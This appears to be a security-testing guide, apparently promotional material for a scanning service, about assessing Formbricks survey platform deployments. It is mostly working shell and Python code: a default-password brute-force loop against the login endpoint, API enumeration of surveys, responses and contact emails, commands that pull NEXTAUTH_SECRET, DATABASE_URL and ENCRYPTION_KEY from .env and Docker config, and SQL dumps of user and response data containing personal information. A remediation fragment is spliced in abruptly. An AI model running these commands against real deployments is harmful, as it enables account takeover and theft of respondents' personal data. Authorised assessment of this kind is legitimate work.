Formbricks is a widely deployed open-source survey and experience management platform (Typeform/SurveyMonkey alternative) built on Next.js, used to collect customer feedback, NPS scores, and research responses — it stores all survey responses including potentially sensitive user-submitted data. Key assessment areas: NEXTAUTH_SECRET signs NextAuth.js session tokens; the REST API provides access to all survey response data; ENCRYPTION_KEY is used to encrypt sensitive data at rest; and DATABASE_URL contains the PostgreSQL connection string. Survey responses frequently contain personal information including names, emails, and detailed feedback about products and internal processes. This guide covers systematic Formbricks security assessment.
# Formbricks — authentication and API key testing
FORMBRICKS_URL="https://formbricks.example.com"
# Formbricks login — email/password
AUTH=$(curl -s -X POST "${FORMBRICKS_URL}/api/auth/callback/credentials" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
echo "Auth response: $(echo $AUTH | head -c 200)"
# NextAuth.js CSRF token required for login — get it first
CSRF=$(curl -s "${FORMBRICKS_URL}/api/auth/csrf" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('csrfToken',''))
" 2>/dev/null)
echo "CSRF: ${CSRF}"
# Try common passwords with CSRF token
for PASS in "admin" "formbricks" "password" "changeme" "admin123"; do
STATUS=$(curl -s -X POST "${FORMBRICKS_URL}/api/auth/callback/credentials" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "email=admin%40example.com&password=${PASS}&csrfToken=${CSRF}&callbackUrl=%2F&json=true" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('url','').find('signIn')==-1 else 'FAIL')" 2>/dev/null)
echo "admin/${PASS}: ${STATUS}"
done
# API key (generated in Settings > API Keys)
API_KEY="your-formbricks-api-key"
curl -s "${FORMBRICKS_URL}/api/v1/me" \
-H "x-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"name\")} ({d.get(\"email\")}) org={d.get(\"organizationId\")}')
" 2>/dev/null
# Formbricks REST API — survey and response data enumeration
FORMBRICKS_URL="https://formbricks.example.com"
API_KEY="your-formbricks-api-key"
# List all surveys in the organization
curl -s "${FORMBRICKS_URL}/api/v1/management/surveys" \
-H "x-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
surveys = d.get('data',[])
print(f'Surveys: {len(surveys)}')
for s in surveys[:10]:
print(f' [{s.get(\"id\")}] {s.get(\"name\")} status={s.get(\"status\")} responses={s.get(\"_count\",{}).get(\"responses\",\"?\")}')
" 2>/dev/null
SURVEY_ID="your-survey-id"
# Get all responses to a survey — may contain PII and sensitive feedback
curl -s "${FORMBRICKS_URL}/api/v1/management/responses?surveyId=${SURVEY_ID}" \
-H "x-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
responses = d.get('data',[])
total = d.get('meta',{}).get('total',0)
print(f'Responses: {total} total, showing {len(responses)}')
for r in responses[:5]:
data = r.get('data',{})
print(f' [{r.get(\"id\")}] finished={r.get(\"finished\")} email={data.get(\"email\",data.get(\"Email\",\"\"))}')
for k,v in list(data.items())[:3]:
print(f' {k}: {str(v)[:50]}')
" 2>/dev/null
# Get all contacts with emails
curl -s "${FORMBRICKS_URL}/api/v1/management/contacts" \
-H "x-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
contacts = d.get('data',[])
print(f'Contacts: {len(contacts)}')
for c in contacts[:10]:
attrs = c.get('attributes',{})
print(f' [{c.get(\"id\")}] email={attrs.get(\"email\",\"\")} userId={attrs.get(\"userId\",\"\")}')
" 2>/dev/null
# Formbricks NEXTAUTH_SECRET and database credential extraction
# .env file
cat /app/.env 2>/dev/null | grep -E "NEXTAUTH_SECRET|DATABASE_URL|ENCRYPTION_KEY|MAIL_|S3_|REDIS"
# NEXTAUTH_SECRET — NextAuth.js session token signing key
# DATABASE_URL — PostgreSQL connection string
# ENCRYPTION_KEY — AES encryption key for sensitive data at rest
# Docker environment variables
docker inspect formbricks 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['NEXTAUTH','DATABASE','ENCRYPTION','MAIL','S3_','REDIS','PASSWORD','SECRET']):
print(e)
" 2>/dev/null
# PostgreSQL direct access — all survey response data
DATABASE_URL="postgresql://formbricks:PASSWORD@localhost/formbricks"
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All users with hashed passwords
SELECT id, name, email, role, "emailVerified", "createdAt"
FROM "User" ORDER BY role, "createdAt" DESC LIMIT 20;
EOF
# All survey responses with raw data (may contain PII)
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT id, "surveyId", data, finished, "createdAt"
FROM "Response" ORDER BY "createdAt" DESC LIMIT 10;
EOF
openssl rand -base64 32; store in a secrets manager; restrict .env file permissions (chmod 600); rotate immediately if compromised — NEXTAUTH_SECRET rotation invalidates all sessions; losing ENCRYPTION_KEY means losing access to all encrypted data| Security Test | Method | Risk |
|---|---|---|
| NEXTAUTH_SECRET session token forgery | Read .env NEXTAUTH_SECRET — forge valid session cookies as any Formbricks user including admins | Critical |
| Survey response bulk export via API | GET /api/v1/management/responses — all form submissions with PII; complete survey response database export per survey | High |
| ENCRYPTION_KEY extraction | Read .env ENCRYPTION_KEY — AES key; decrypt all application-layer encrypted fields in PostgreSQL | Critical |
| PostgreSQL Response.data extraction | SELECT data FROM Response — all raw JSON submissions with PII directly from database bypassing API controls | Critical |
| Contact email enumeration | GET /api/v1/management/contacts — all respondent emails and user identifiers | High |
Ironimo tests Formbricks deployments for NEXTAUTH_SECRET session token forgery, ENCRYPTION_KEY extraction, survey response bulk export, contact email enumeration, PostgreSQL response data extraction, Docker environment variable exposure, API key enumeration, bulk response rate limiting, and unintended public survey access assessment.
Start free scan